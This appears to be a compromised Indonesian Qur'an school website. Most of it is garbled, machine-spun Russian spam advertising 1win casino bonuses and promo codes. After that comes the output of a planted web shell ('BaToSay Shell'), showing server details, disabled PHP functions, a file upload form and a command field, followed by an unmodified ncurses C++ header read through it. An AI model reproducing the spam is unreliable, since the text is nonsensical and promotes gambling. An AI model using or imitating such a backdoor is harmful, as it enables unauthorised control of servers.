Pondok Pesantren Tahfizul Qur'an

Бонусы Казино 1win За Июнь 2024 Бездепозитный За Регистрацию%2C Бонус Коды и Фриспины И Промокоды От Casino R

Бонусы Казино 1win За Июнь 2024 Бездепозитный За Регистрацию%2C Бонус Коды и Фриспины И Промокоды От Casino Ru

1win Ставки На Спорт же Онлайн Казино Бонус 500%

Content

Для игроков%2C последующих регистрацию в БК 1Win (желательно по промокоду 1Вин — vip1win) доступен длинный спектр развлечений. Хотя гордостью компании принято считать онлайн-казино%2C но подтверждают выгодные бонусы казино 1Win%2C представленные в самом широком разнообразии. В таком победы такой ставки игроку будет дополнительно начислено 5% на лицевой счет остального суммы ставки по данному исходу со бонусного счета. Бонус – бесплатные средствах от букмекерской конторы%2C которые каппер получает%2C если в аппроксимируемой придерживается правилам одной акции. Главное часто – внимательно изучить правила отыгрыша данного бонуса%2C чтобы понимают%2C где и как его можно повторить. Это позволит новичку максимально эффективно применять подаренные средства.

  • Для этого специалистам потребуется время%2C этого детально изучить задала и предоставить качественнее сервис.
  • После заполнения необходимых полей же” “свидетельств своего аккаунта%2C севилестр сможете приступить ко следующему шагу.
  • 1Win казино на текущий момент – это целый калейдоскоп мотивационных поощрений дли гемблинга.

Например%2C только в онлайн-казино действует промо%2C по которым дается 70 бесплатных вращений за депозит на сумму от 1500 рублей. Же%2C играть можно%2C установить приложение для смартфонов на базе Android%2C iOS. Промокоды представлявших собой еще тот способ бонусного вознаграждения%2C предоставляемый игрокам. Промо-коды представляют собой уникальные буквенно-цифровые комбинации%2C них инициируют определенные подарки.

Выбор Платежной Системы

Для получения 1win coins не обязательно тратить реальные деньги. Казино 1win предлагает простые задания%2C такие же подписка на исторические сети казино%2C выполнение которых также позволит заработать монеты. Так делает программу беззаветной доступной для двух пользователей%2C независимо от уровня их активности в игре. После выбора игры а казино необходимо определить размер ставки и количество бонусных средств для использования. Севилестр можете решить%2C вас ли вы применять все доступные бонусы или только часть 1win бонус за регистрацию.

Также%2C и сайте 1win Сами можете найти Live ставки и заключила пари непосредственно а процессе того например иного соревнования. Сайт 1win переведен и 14 языков и позволяет иметь счет в 4 первоначальных валютах. Казино включено в список надежные игровых онлайн заведений в России%2C вместе с лидерами%2C существующими на рынке только больше 10 назад.

Отыгрыш Бонусов На Спортивных Ставках

Киберспорт – как современное направление%2C которое быстро собрало аудиторию по всему миру. Одни будучи геймерами%2C а другие – сделав ставку на команду фаворитов. К тому же на портале представлено мало игр%2C которые большинству интересны. Кроме приветственного промо есть программы для действующих клиентов.”

  • 1win coins представляют собой замечательную часть программы лояльности казино 1win.
  • “В заключение%2C использование бонусов на платформе 1win может быть довольно выгодным для спортивных ставок.
  • Тогда каждое событие имеет коэффициент 1%2C 3 и выше%2C же к прибыли невозможно получить дополнительный процент от суммы выигрыша.
  • Участие и промоакциях и розыгрышах с бонусными призами позволяет разнообразить игровой процесс и повысить свои шансы в успех.

В везде случае клиент в этапе создания аккаунта выбирает одну из 13 валют игрового счета%2C среди которых рубли%2C доллары%2C евро%2C гривны%2C тенге а другие. К увы%2C нет – отыгрыш бонусов на спорт возможен только в предматчевые ставки. Предположим ответы на наиболее часто задаваемые вопросы об отыгрыше и использовании бонусов а 1win.

Кэшбэк В Казино пиппардом Проигранных Ставок

Для этого специалистам потребуется время%2C чтобы детально изучить задал и предоставить качественный сервис. Таким таким%2C” “площадка для гэмблинга а беттинга демонстрирует мое хорошее отношение нему клиентам. На выбор доступны банковская карта%2C платежные системы%2C счет мобильного оператора например электронные кошельки. Скорость вывода зависит ото выбранного способа%2C например%2C на карту деньги могут поступить быстро%2C чем на электронный кошелек. Однако%2C дополнительный срок вывода только превышает двух-трех рабочих дней.

  • Бонусный счет потребуется отыграть вместе использованием%2C путем совершения ставок с качестве счета.
  • Отдельных спецпредложений для игроков онлайн-казино%2C таких как подарочные фриспины%2C на сайте только предусмотрено.
  • Казино включено в список проверенных игровых онлайн заведений в России%2C наравне с лидерами%2C существующей на рынке еще больше 10 коросса.
  • Который яркий пример щедрости официального сайта – таблица «Лидерборд».

Регистрируйся в конторе%2C вед только клиент БК 1Win имеет возможностей получить приятный буст к доходу. Онлайн-площадка 1Вин достаточно молодой и перспективный проект. С самого конца компания взяла единственный курс на повышение качества оказываемых услуг%2C создание френдли интерфейса и развитие поощрительной политики.

📱 Адаптировано Ли 1вин Казино Под Мобильные Девайсы%3F”

Важно отметить%2C что бонусные предложений могут меняться со временем%2C поэтому не полезно проверить актуальным условия на официальном сайте казино. Игорное заведение не предлагает бонусное вознаграждение и регистрационную процедуру. Политики существует для гемблеров%2C совершающих пополнение депозита. 1 win бездепозитный бонус можно заиметь%2C не вкладывая на счет казино онлайн личные деньги.

  • На ресурсе 1Win казино официального сайт у гостей есть возможность начнем развлекаться бесплатно и демонстрационном режиме.
  • Приложение предназначено для устройств в IOS и Android%2C загрузить их можно по ссылке ну или на официальном сайте.
  • И особенности это касается приветственного бонуса ним регистрацию.
  • Стал их участником%2C игровой процесс будет там интереснее!

На нашем игровом портале вы найду широкий выбор знаменитых игр казино%2C подходящий для игроков с любым уровнем опыта и банкролла. Мы главный приоритет — обеспечить вам удовольствие и развлечение а безопасной и важнейшей игровой среде. Благодаря наличию лицензии а использованию надежного игрового софта мы заслужили полное доверие нас пользователей. Почти но бонусы в 1win являются не выводными сразу%2C а требуете отыгрыша определенным минимальным ставок. Это конечно%2C что выигранными бонусными средствами сразу никак распоряжаться.

Промокоды

Первым шагом в том случае будет выбора игры в казино%2C в которую нельзя использовать бонусы. 1win предлагает широкий выбор игр%2C включая слоты%2C рулетку%2C покер же” “отчасти другое. Использование бонусов на платформе 1win дает возможность увеличить свои шансы на выигрыш. Бонусы могут быть использованы дли увеличения суммы ставки или получения особых возможностей в игре. Это помогает игрокам достичь больших выигрышей и получить но больше удовольствия ото игры на платформе 1win.

  • 1 win бездепозитный бонус можно получить%2C не вкладывая и счет казино онлайн личные деньги.
  • Бонусы спорт 1win предоставляют возможности получить дополнительные средств для игры%2C только позволяет увеличить шанса на успех.
  • Онлайн-площадка 1Вин достаточно пожилой и перспективный идею.
  • Подробнее о ином%2C как принять а них участие и что нужно сделать для получения бездепозитных бонусов в 1Win Casino за регистрацию%2C рассказано в материале.

Первым шагом важно выбрать интересующее вас событие и вид спорта для ставки. Благодаря широкому выбор спортивных событий и платформе 1win%2C севилестр сможете найти поэтому то%2C что вам по душе. High Striker – так новая увлекательная онлайн-игра%2C которая позволит задействовать ставку в еще раз за полугода игры. Результаты каждой игры определяются генератором случайных чисел%2C поэтому можете быть уверены в честности. High Striker довольно популярен в Европе%2C одноиз%2C в Великобритании%2C соленск игроки каждый следующий тестируют новые стратегии для выигрыша. Когда у игрока разве код на бездепозитный бонус 1Win Casino%2C он может получить по нему приличные или фриспины.

Бонусы в Казино 1win для Новых Игроков

Выбирайте удобную для вас методом – карту%2C электронный кошелек%2C криптовалюту. Подобным образом%2C используя выгодного промокоды%2C можно намного увеличить размер бонусов в 1win. С таким арсеналом преимуществ бонусы казино 1Win априори не могут быть бесполезными.

  • Также важно следил за актуальными акциями и предложениями%2C которые могут предоставить только больше бонусных средств.
  • Важно отметить%2C что раз бонус имеет мои условия использования%2C однако перед его активацией необходимо внимательно изучить с правилами же требованиями.
  • Отыгрыш означает использование бонусных расходующихся для ставок и соответствии с установленными правилами.
  • Играть а 1Win Казино в официальном сайте можно и с реальных дилерами.

Потратить бонусы в казино 1Вин можно только и видеослотах. При что ставки учитываются но во всех автоматах%2C а только в разрешенных. В онлайн чате техподдержки есть готовые ответы и популярные вопросы том способах получения%2C предназначенных и снятия бонусов. Активировать промокод на фриспины в казино 1Win%2C слоты быть даже новые посетители%2C прошедшие регистрацию. Достаточно лишь ввести найденную комбинацию при заполнении анкеты. В сентябре 2023 года действую приветственная акция «Фриспины за депозит».

Как Получить Бонус В Онлайн Казино 1win

Помимо регулярных бонусов%2C 1win часто запускает специальные акции и турниры пиппардом призовым фондом для своих клиентов. Того не пропустить выгодного предложения%2C рекомендуется следить за акциями а личном кабинете на сайте букмекера. Компания учитывает большинство клиентских запросы%2C радуя игроков систематичным обновлением раздела бонусы казино 1Win. Процент кэшбэка варьироваться суммой всех ставок игрока на игры категории «Слоты» за неделю. При расчете кэшбэка учитываются а проигранные собственные средствах с реального баланса.

Бонусная политика последнего казино направлена на бонусы для игроков%2C которые делают обналичивать. Теперь давайте разберем каждый из вышеперечисленные бонусов и назовем условия их доведения и отыгрыша. 1Win казино онлайн советует разнообразные бонусы а акции%2C которые призваны привлечь новых игроков и поощрить активных участников.

Бонусы 1win – Как Получить а Использовать

Только весь бонус было успешно отыгран а переведен на конкретный счет%2C можно приступили к выводу средств. 1Win казино в текущий момент – это целый калейдоскоп мотивационных поощрений ддя гемблинга. Акции же бонусы 1Вин часто неоднозначные%2C порой эпатажные и даже ответы%2C но всегда какиенибудь и прибыльные. А также при совершении экспресса с 5 и более событиями%2C к чистой прибыли начисляется процент.

  • Для общения с консультантами технической поддержки пользователям предлагаются номер телефона%2C электронная почта и онлайн-чат на сайте.
  • Бонусная политика самого казино направлена и бонусы для игроков%2C которые делают депозиты.
  • Условия отыгрыша бонусов являются важном аспектом использования бонусов на платформе 1win.

Приложение работает на операционных системах Андроид же iOS. 1win coins представляют собой оригинальную часть программы лояльности казино 1win. Их монеты являются пассивным бонусом%2C который игроки получают за выполнении обычных действий на платформе. Будь то вращение слотов%2C ставки на спорт например игра в покер – за каждую из этих действий вам начисляются монеты 1win. Давайте станем с бонуса%2C тот каждый новый игрок в казино 1win может получить при регистрации в казино.

Основные Бонусы 1вин%3A

Этот бонус 1win делаются те игроки%2C которые отличаются своей активностью. Каждая выигранная ставка на спорт приближает вас к главному месту. Победитель получат главный бездепозитный бонус 1win – реальные деньги и фриспины.

  • Благодаря наличию лицензии а использованию надежного игрового софта мы заслужили полное доверие нас пользователей.
  • И последние пять коросса оператор приобрел вообще постоянных игроков.
  • Онлайн казино 1win предлагает круглосуточную техподдержку%2C чтобы всегда быть на связи с клиентом.
  • Также свежие купоны и информация о текущих мероприятиях размещаются на страницах оператора в социальных сетях.

Возможности играть бесплатно в слоты в 1Win казино нет ни только обычных посетителей%2C полслова у авторизованных пользователей сайта. Коллекция автоматов насчитывает 3600 тайтлов от нескольких десятков провайдеров. По количество” “представленных продуктов лидируют Microgaming%2C Spinomenal%2C Pragmatic Play%2C Wazdan%2C NetEnt%2C Habanero%2C 1×2 Gaming а Playtech. На тематических форумах можно найду много полезных советов от профессиональных игроков о том%2C же выиграть от бонусов 1win. Очень важно грамотно рассчитать а распределить банкролл между бонусными и реальных средствами%2C чтобы максимизировать выигрыши.

Бонусы Казино 1win%3A возможность

Исключением того%2C все желающим участники клуба может просто так посмотреть любимые киноленты. Для игры Вы смогу использовать браузерную версию для ПК также открыть мобильный варианте сайта. Кроме только%2C Вы можете угадать приложение 1win и Ваш смартфон.

  • Коллекция автоматов насчитывает 3600 тайтлов от нескольких пару провайдеров.
  • Оптимальная сумма первого депозита ддя получения максимального бонуса – от 1000 до 5000 рублей.
  • В этой статье мы расскажем вам о нескольких сторонке%2C которые необходимо выполнить%2C чтобы получить дополнительные бонусы на мой игровой счет.

Они предназначены же для любителей слотов%2C так и для бетторов. Например%2C указав промокод на бонусы в казино 1Win для новых игроков%2C можно получить такую прибавку к депозиту. Устанавливайте официальное приложение на мобильное устройство и получайте настоящие деньги на свой игровой счет. Согласно%2C что” “скачать программу можно в главной странице официальным сайта 1 вин казино Украина.

а Получить Бонус за Экспресс Ставку в 1вин Бк%3F

Зеркала являются копиями официальной страницы%2C не имеют немного и адрес (доменное имя). Они предоставляют аналогичный возможности для клиентов казино. Для разговаривать с консультантами технической поддержки пользователям предлагаются номер телефона%2C электронная почта и онлайн-чат на сайте. Отвечают они на всех языках%2C на них переведен официальный сайт%2C поэтому неудобств только клиентов не неанализируемая. На сайте реализована полноценная букмекерская площадка со ставками и традиционные виды спорта и киберспортивные дисциплины. Пользователям доступны столько событий%2C удобный календарь%2C статистика%2C трансляции и режиме реального времени и live-ставки.

  • Одним из дополнительных преимуществ бонусов спорт 1win является возможности получения дополнительных бонусов за активность на сайте.
  • Чем выше коэффициент%2C тем быстро идет отыгрыш бонуса в 1win.
  • Высокий RTP%2C различные уровни волатильности%2C разнообразие тематик регрессной играют немаловажную важную.
  • Букмекерская компания 1вин выстроила привлекательную ддя клиентов бонусную политики%2C включающую фрибет и установку приложения.
  • Регулярно проверяйте свой прогресс а личном кабинете%2C чтобы вовремя вывести средствах.

Проигрыш в нашем казино будет не этим обидным%2C ведь трети от проигрыша вернется на основной счет с бонусного. Также получить дополнительные бонусы можно%2C используя промокоды 1win при регистрации или пополнении счета. Актуальные промокоды публикуются на сайте букмекера в разделе “Акции”. Использовать бонусы ддя ставок на спорт – один из способов получить вероятную выгоду от наших бонусов в 1win.

которых Бездепозитные Бонусы Казино 1win

Актуальные” “купоны для новичков постоянно публикуются на том сайте. Зарегистрированные игроки получают их и рассылке на электронную почту. Также свежие купоны и информация о текущих мероприятиях размещаются на страницах оператора в социальных сетях. Если ставка сыграет%2C то севилестр получите дополнительный доля от суммы ставки%2C который зависит остального количества событий в экспрессе.

  • Пользователи%2C них часто играют и делают ставки%2C может получать дополнительные бонусы.
  • Почти только бонусы в 1win являются не выводными сразу%2C а требуют отыгрыша определенным минимумом ставок.
  • Также%2C благодаря бонусам%2C пользователи быть участвовать в промоакциях и розыгрышах с бонусными призами.
  • Это позволяет использовать свои шансы в выигрыш и получить еще больше удовольствия от игры.
  • Одна кнопка позволяет выберет приемлемый” “методом связи с отделом поддержки%2C руководством заведения.
  • Он содержит 1000 рублей%2C или использоваться только и разделе с беттингом.

Также определенная их часть означающее в настоящие деньги в начале каждая дня. Он содержит 1000 рублей%2C может использоваться только в разделе с беттингом. Даже необязательно создавать аккаунт — нельзя играть в существовании гостя. Помимо популярных игровых брендов%2C клуб предоставляет игровое необходимое менее известных разработки. Последние создают эксклюзивные развлечения%2C которые имеют несколько иной стиль по сравнению со традиционными азартными играми. Наиболее популярными слотами ван вин казино представлены следующие.

Бонусы же Промокоды

Отдельных спецпредложений ддя игроков онлайн-казино%2C лучших как подарочные фриспины%2C на сайте только предусмотрено. При достижении указанной суммы ставок бонусные средства переводятся на реальный баланс. Они становятся доступными для использования а любых играх например снятия с сайта. Платформа 1 Win сочетает в сам онлайн-казино и букмекерскую контору. Оператор предложила обширную коллекцию развлечений%2C акции и промопредложения.

  • Зеркало позволяет пользователям обойти блокировку же продолжать использовать услуги казино.
  • Но%2C чтобы максимально эффективнее использовать бонусы%2C важен ознакомиться с правилами и условиями их получения и использования.
  • В этой статье мы подробно предположим все аспекты того%2C как именно новичкам потратить бонусы и 1win с вероятной выгодой.
  • Игра имитирует старой карточную игру и позволяет наслаждаться игрой%2C не выходя одним дома.

Каждый бонус существует свои условия а требования%2C такие а вейджер – х20-х25. Перед активацией бонусов важно внимательно прочитать правила и обстоятельств%2C чтобы избежать обид. После успешной верификации активируется бонус и регистрацию%2C предоставляется а форме промокода. Буквенно-цифровую комбинацию можно найти на странице казино%2C социальных каналах%2C тематических форумах. Нужно больше разнообразия%2C больше ачества и клиентоориентированности.

Как Использовать и Отыграть

Буквально за несколько лет бонусы казино 1Win вышли на новый уровень%2C повысив привлекательность организатора. Как видим%2C уяснить в тонкостях предназначенных бонусов в 1win не так уж сложно. Главное – внимательно читать правила и начинать острожно%2C с небольших сумм.

  • Промокоды представлявших собой еще тот способ бонусного вознаграждения%2C предоставляемый игрокам.
  • Сами можете решить%2C хотите ли вы использовать все доступные бонусы или только часть.
  • Процент кэшбэка зависимости суммой всех ставок игрока на игры категории «Слоты» и неделю.
  • Помимо регулярных бонусов%2C 1win периодически запускает специальные акции и турниры с призовым фондом ддя своих клиентов.
  • Добро пожаловать а онлайн казино и букмекерскую контору 1Win!
  • Если результате будет удачным%2C 5% от поставленной кредиту перейдет с бонусного баланса на главной.

Ддя этого достаточно пополнить счет минимум в 1500 рублей. И качестве бонуса начисляется 70 бесплатных вращений%2C работающих в 7 топовых слотах студии Quickspin. При экспресс-ставках не менее меньше на 5 произошедших пользователь получит дополнительный процент от сумм.

Facebook
Twitter
LinkedIn
WhatsApp
Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 18.190.253.68
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/include//cursesm.h
// * This makes emacs happy -*-Mode: C++;-*-
/****************************************************************************
 * Copyright (c) 1998-2012,2014 Free Software Foundation, Inc.              *
 *                                                                          *
 * Permission is hereby granted, free of charge, to any person obtaining a  *
 * copy of this software and associated documentation files (the            *
 * "Software"), to deal in the Software without restriction, including      *
 * without limitation the rights to use, copy, modify, merge, publish,      *
 * distribute, distribute with modifications, sublicense, and/or sell       *
 * copies of the Software, and to permit persons to whom the Software is    *
 * furnished to do so, subject to the following conditions:                 *
 *                                                                          *
 * The above copyright notice and this permission notice shall be included  *
 * in all copies or substantial portions of the Software.                   *
 *                                                                          *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS  *
 * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF               *
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.   *
 * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,   *
 * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR    *
 * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR    *
 * THE USE OR OTHER DEALINGS IN THE SOFTWARE.                               *
 *                                                                          *
 * Except as contained in this notice, the name(s) of the above copyright   *
 * holders shall not be used in advertising or otherwise to promote the     *
 * sale, use or other dealings in this Software without prior written       *
 * authorization.                                                           *
 ****************************************************************************/

/****************************************************************************
 *   Author: Juergen Pfeifer, 1997                                          *
 ****************************************************************************/

// $Id: cursesm.h,v 1.30 2014/08/09 22:06:18 Adam.Jiang Exp $

#ifndef NCURSES_CURSESM_H_incl
#define NCURSES_CURSESM_H_incl 1

#include <cursesp.h>

extern "C" {
#  include <menu.h>
}
//
// -------------------------------------------------------------------------
// This wraps the ITEM type of <menu.h>
// -------------------------------------------------------------------------
//
class NCURSES_IMPEXP NCursesMenuItem
{
  friend class NCursesMenu;

protected:
  ITEM *item;

  inline void OnError (int err) const THROW2(NCursesException const, NCursesMenuException) {
    if (err != E_OK)
      THROW(new NCursesMenuException (err));
  }

public:
  NCursesMenuItem (const char* p_name     = NULL,
		   const char* p_descript = NULL)
    : item(0)
  {
    item = p_name ? ::new_item (p_name, p_descript) : STATIC_CAST(ITEM*)(0);
    if (p_name && !item)
      OnError (E_SYSTEM_ERROR);
  }
  // Create an item. If you pass both parameters as NULL, a delimiting
  // item is constructed which can be used to terminate a list of
  // NCursesMenu objects.

  NCursesMenuItem& operator=(const NCursesMenuItem& rhs)
  {
    if (this != &rhs) {
      *this = rhs;
    }
    return *this;
  }

  NCursesMenuItem(const NCursesMenuItem& rhs)
    : item(0)
  {
    (void) rhs;
  }

  virtual ~NCursesMenuItem ();
  // Release the items memory

  inline const char* name () const {
    return ::item_name (item);
  }
  // Name of the item

  inline const char* description () const {
    return ::item_description (item);
  }
  // Description of the item

  inline int (index) (void) const {
    return ::item_index (item);
  }
  // Index of the item in an item array (or -1)

  inline void options_on (Item_Options opts) {
    OnError (::item_opts_on (item, opts));
  }
  // Switch on the items options

  inline void options_off (Item_Options opts) {
    OnError (::item_opts_off (item, opts));
  }
  // Switch off the item's option

  inline Item_Options options () const {
    return ::item_opts (item);
  }
  // Retrieve the items options

  inline void set_options (Item_Options opts) {
    OnError (::set_item_opts (item, opts));
  }
  // Set the items options

  inline void set_value (bool f) {
    OnError (::set_item_value (item,f));
  }
  // Set/Reset the items selection state

  inline bool value () const {
    return ::item_value (item);
  }
  // Retrieve the items selection state

  inline bool visible () const {
    return ::item_visible (item);
  }
  // Retrieve visibility of the item

  virtual bool action();
  // Perform an action associated with this item; you may use this in an
  // user supplied driver for a menu; you may derive from this class and
  // overload action() to supply items with different actions.
  // If an action returns true, the menu will be exited. The default action
  // is to do nothing.
};

// Prototype for an items callback function.
typedef bool ITEMCALLBACK(NCursesMenuItem&);

// If you don't like to create a child class for individual items to
// overload action(), you may use this class and provide a callback
// function pointer for items.
class NCURSES_IMPEXP NCursesMenuCallbackItem : public NCursesMenuItem
{
private:
  ITEMCALLBACK* p_fct;

public:
  NCursesMenuCallbackItem(ITEMCALLBACK* fct       = NULL,
			  const char* p_name      = NULL,
			  const char* p_descript  = NULL )
    : NCursesMenuItem (p_name, p_descript),
      p_fct (fct) {
  }

  NCursesMenuCallbackItem& operator=(const NCursesMenuCallbackItem& rhs)
  {
    if (this != &rhs) {
      *this = rhs;
    }
    return *this;
  }

  NCursesMenuCallbackItem(const NCursesMenuCallbackItem& rhs)
    : NCursesMenuItem(rhs),
      p_fct(0)
  {
  }

  virtual ~NCursesMenuCallbackItem();

  bool action();
};

  // This are the built-in hook functions in this C++ binding. In C++ we use
  // virtual member functions (see below On_..._Init and On_..._Termination)
  // to provide this functionality in an object oriented manner.
extern "C" {
  void _nc_xx_mnu_init(MENU *);
  void _nc_xx_mnu_term(MENU *);
  void _nc_xx_itm_init(MENU *);
  void _nc_xx_itm_term(MENU *);
}

//
// -------------------------------------------------------------------------
// This wraps the MENU type of <menu.h>
// -------------------------------------------------------------------------
//
class NCURSES_IMPEXP NCursesMenu : public NCursesPanel
{
protected:
  MENU *menu;

private:
  NCursesWindow* sub;   // the subwindow object
  bool b_sub_owner;     // is this our own subwindow?
  bool b_framed;        // has the menu a border?
  bool b_autoDelete;    // Delete items when deleting menu?

  NCursesMenuItem** my_items; // The array of items for this menu

  // This structure is used for the menu's user data field to link the
  // MENU* to the C++ object and to provide extra space for a user pointer.
  typedef struct {
    void*              m_user;      // the pointer for the user's data
    const NCursesMenu* m_back;      // backward pointer to C++ object
    const MENU*        m_owner;
  } UserHook;

  // Get the backward pointer to the C++ object from a MENU
  static inline NCursesMenu* getHook(const MENU *m) {
    UserHook* hook = STATIC_CAST(UserHook*)(::menu_userptr(m));
    assert(hook != 0 && hook->m_owner==m);
    return const_cast<NCursesMenu*>(hook->m_back);
  }

  friend void _nc_xx_mnu_init(MENU *);
  friend void _nc_xx_mnu_term(MENU *);
  friend void _nc_xx_itm_init(MENU *);
  friend void _nc_xx_itm_term(MENU *);

  // Calculate ITEM* array for the menu
  ITEM** mapItems(NCursesMenuItem* nitems[]);

protected:
  // internal routines
  inline void set_user(void *user) {
    UserHook* uptr = STATIC_CAST(UserHook*)(::menu_userptr (menu));
    assert (uptr != 0 && uptr->m_back==this && uptr->m_owner==menu);
    uptr->m_user = user;
  }

  inline void *get_user() {
    UserHook* uptr = STATIC_CAST(UserHook*)(::menu_userptr (menu));
    assert (uptr != 0 && uptr->m_back==this && uptr->m_owner==menu);
    return uptr->m_user;
  }

  void InitMenu (NCursesMenuItem* menu[],
		 bool with_frame,
		 bool autoDeleteItems);

  inline void OnError (int err) const THROW2(NCursesException const, NCursesMenuException) {
    if (err != E_OK)
      THROW(new NCursesMenuException (this, err));
  }

  // this wraps the menu_driver call.
  virtual int driver (int c) ;

  // 'Internal' constructor to create a menu without association to
  // an array of items.
  NCursesMenu( int  nlines,
	       int  ncols,
	       int  begin_y = 0,
	       int  begin_x = 0)
    : NCursesPanel(nlines,ncols,begin_y,begin_x),
      menu (STATIC_CAST(MENU*)(0)),
      sub(0),
      b_sub_owner(0),
      b_framed(0),
      b_autoDelete(0),
      my_items(0)
  {
  }

public:
  // Make a full window size menu
  NCursesMenu (NCursesMenuItem* Items[],
	       bool with_frame=FALSE,        // Reserve space for a frame?
	       bool autoDelete_Items=FALSE)  // Autocleanup of Items?
    : NCursesPanel(),
      menu(0),
      sub(0),
      b_sub_owner(0),
      b_framed(0),
      b_autoDelete(0),
      my_items(0)
  {
      InitMenu(Items, with_frame, autoDelete_Items);
  }

  // Make a menu with a window of this size.
  NCursesMenu (NCursesMenuItem* Items[],
	       int  nlines,
	       int  ncols,
	       int  begin_y = 0,
	       int  begin_x = 0,
	       bool with_frame=FALSE,        // Reserve space for a frame?
	       bool autoDelete_Items=FALSE)  // Autocleanup of Items?
    : NCursesPanel(nlines, ncols, begin_y, begin_x),
      menu(0),
      sub(0),
      b_sub_owner(0),
      b_framed(0),
      b_autoDelete(0),
      my_items(0)
  {
      InitMenu(Items, with_frame, autoDelete_Items);
  }

  NCursesMenu& operator=(const NCursesMenu& rhs)
  {
    if (this != &rhs) {
      *this = rhs;
      NCursesPanel::operator=(rhs);
    }
    return *this;
  }

  NCursesMenu(const NCursesMenu& rhs)
    : NCursesPanel(rhs),
      menu(rhs.menu),
      sub(rhs.sub),
      b_sub_owner(rhs.b_sub_owner),
      b_framed(rhs.b_framed),
      b_autoDelete(rhs.b_autoDelete),
      my_items(rhs.my_items)
  {
  }

  virtual ~NCursesMenu ();

  // Retrieve the menus subwindow
  inline NCursesWindow& subWindow() const {
    assert(sub!=NULL);
    return *sub;
  }

  // Set the menus subwindow
  void setSubWindow(NCursesWindow& sub);

  // Set these items for the menu
  inline void setItems(NCursesMenuItem* Items[]) {
    OnError(::set_menu_items(menu,mapItems(Items)));
  }

  // Remove the menu from the screen
  inline void unpost (void) {
    OnError (::unpost_menu (menu));
  }

  // Post the menu to the screen if flag is true, unpost it otherwise
  inline void post(bool flag = TRUE) {
    flag ? OnError (::post_menu(menu)) : OnError (::unpost_menu (menu));
  }

  // Get the numer of rows and columns for this menu
  inline void scale (int& mrows, int& mcols) const  {
    OnError (::scale_menu (menu, &mrows, &mcols));
  }

  // Set the format of this menu
  inline void set_format(int mrows, int mcols) {
    OnError (::set_menu_format(menu, mrows, mcols));
  }

  // Get the format of this menu
  inline void menu_format(int& rows,int& ncols) {
    ::menu_format(menu,&rows,&ncols);
  }

  // Items of the menu
  inline NCursesMenuItem* items() const {
    return *my_items;
  }

  // Get the number of items in this menu
  inline int count() const {
    return ::item_count(menu);
  }

  // Get the current item (i.e. the one the cursor is located)
  inline NCursesMenuItem* current_item() const {
    return my_items[::item_index(::current_item(menu))];
  }

  // Get the marker string
  inline const char* mark() const {
    return ::menu_mark(menu);
  }

  // Set the marker string
  inline void set_mark(const char *marker) {
    OnError (::set_menu_mark (menu, marker));
  }

  // Get the name of the request code c
  inline static const char* request_name(int c) {
    return ::menu_request_name(c);
  }

  // Get the current pattern
  inline char* pattern() const {
    return ::menu_pattern(menu);
  }

  // true if there is a pattern match, false otherwise.
  bool set_pattern (const char *pat);

  // set the default attributes for the menu
  // i.e. set fore, back and grey attribute
  virtual void setDefaultAttributes();

  // Get the menus background attributes
  inline chtype back() const {
    return ::menu_back(menu);
  }

  // Get the menus foreground attributes
  inline chtype fore() const {
    return ::menu_fore(menu);
  }

  // Get the menus grey attributes (used for unselectable items)
  inline chtype grey() const {
    return ::menu_grey(menu);
  }

  // Set the menus background attributes
  inline chtype set_background(chtype a) {
    return ::set_menu_back(menu,a);
  }

  // Set the menus foreground attributes
  inline chtype set_foreground(chtype a) {
    return ::set_menu_fore(menu,a);
  }

  // Set the menus grey attributes (used for unselectable items)
  inline chtype set_grey(chtype a) {
    return ::set_menu_grey(menu,a);
  }

  inline void options_on (Menu_Options opts) {
    OnError (::menu_opts_on (menu,opts));
  }

  inline void options_off(Menu_Options opts) {
    OnError (::menu_opts_off(menu,opts));
  }

  inline Menu_Options options() const {
    return ::menu_opts(menu);
  }

  inline void set_options (Menu_Options opts) {
    OnError (::set_menu_opts (menu,opts));
  }

  inline int pad() const {
    return ::menu_pad(menu);
  }

  inline void set_pad (int padch) {
    OnError (::set_menu_pad (menu, padch));
  }

  // Position the cursor to the current item
  inline void position_cursor () const {
    OnError (::pos_menu_cursor (menu));
  }

  // Set the current item
  inline void set_current(NCursesMenuItem& I) {
    OnError (::set_current_item(menu, I.item));
  }

  // Get the current top row of the menu
  inline int top_row (void) const {
    return ::top_row (menu);
  }

  // Set the current top row of the menu
  inline void set_top_row (int row) {
    OnError (::set_top_row (menu, row));
  }

  // spacing control
  // Set the spacing for the menu
  inline void setSpacing(int spc_description,
			 int spc_rows,
			 int spc_columns) {
    OnError(::set_menu_spacing(menu,
			       spc_description,
			       spc_rows,
			       spc_columns));
  }

  // Get the spacing info for the menu
  inline void Spacing(int& spc_description,
		      int& spc_rows,
		      int& spc_columns) const {
    OnError(::menu_spacing(menu,
			   &spc_description,
			   &spc_rows,
			   &spc_columns));
  }

  // Decorations
  inline void frame(const char *title=NULL, const char* btitle=NULL) {
    if (b_framed)
      NCursesPanel::frame(title,btitle);
    else
      OnError(E_SYSTEM_ERROR);
  }

  inline void boldframe(const char *title=NULL, const char* btitle=NULL) {
    if (b_framed)
      NCursesPanel::boldframe(title,btitle);
    else
      OnError(E_SYSTEM_ERROR);
  }

  inline void label(const char *topLabel, const char *bottomLabel) {
    if (b_framed)
      NCursesPanel::label(topLabel,bottomLabel);
    else
      OnError(E_SYSTEM_ERROR);
